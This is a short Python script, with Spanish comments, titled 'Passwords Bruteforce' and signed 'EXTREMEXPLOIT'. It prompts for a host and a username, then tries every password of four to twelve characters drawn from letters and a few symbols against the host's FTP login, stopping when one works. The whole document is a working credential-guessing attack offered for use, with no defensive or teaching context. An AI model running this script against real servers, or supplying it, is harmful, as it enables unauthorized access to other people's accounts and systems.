Passwords Bruteforce

import ftplib

# Letras que se usaran:
Caracteres = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+",""]

# Comprueva si la contraseña funciona
def Password(host,user,password):
    print("Searching PASSWORD:", password)
    #Intenta conectarse
    try:
        # Dice si ha encontrado la contraseña...
        ftp = ftplib.FTP(host)
        ftp.login(user,password)
        print("Password Found:", password)
        ftp.quit()
        exit()
    except:
        return

host = input("Host: ")
user = input("User: ")
for c1 in Caracteres:
    for c2 in Caracteres:
        for c3 in Caracteres:
            for c4 in Caracteres:
                password = c1+c2+c3+c4

                Password(host,user,password)
                for c5 in Caracteres:
                    password = c1+c2+c3+c4+c5
                    Password(host,user,password)
                    for c6 in Caracteres:
                        password = c1+c2+c3+c4+c5+c6
                        Password(host,user,password)
                        for c7 in Caracteres:
                            password = c1+c2+c3+c4+c5+c6+c7
                            Password(host,user,password)
                            for c8 in Caracteres:
                                password = c1+c2+c3+c4+c5+c6+c7+c8
                                Password(host,user,password)
                                for c9 in Caracteres:
                                    password = c1+c2+c3+c4+c5+c6+c7+c8+c9
                                    Password(host,user,password)
                                    for c10 in Caracteres:
                                        password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
                                        Password(host,user,password)
                                        for c11 in Caracteres:
                                            password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
                                            Password(host,user,password)
                                            for c12 in Caracteres:
                                                password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
                                                Password(host,user,password)
#EXTREMEXPLOIT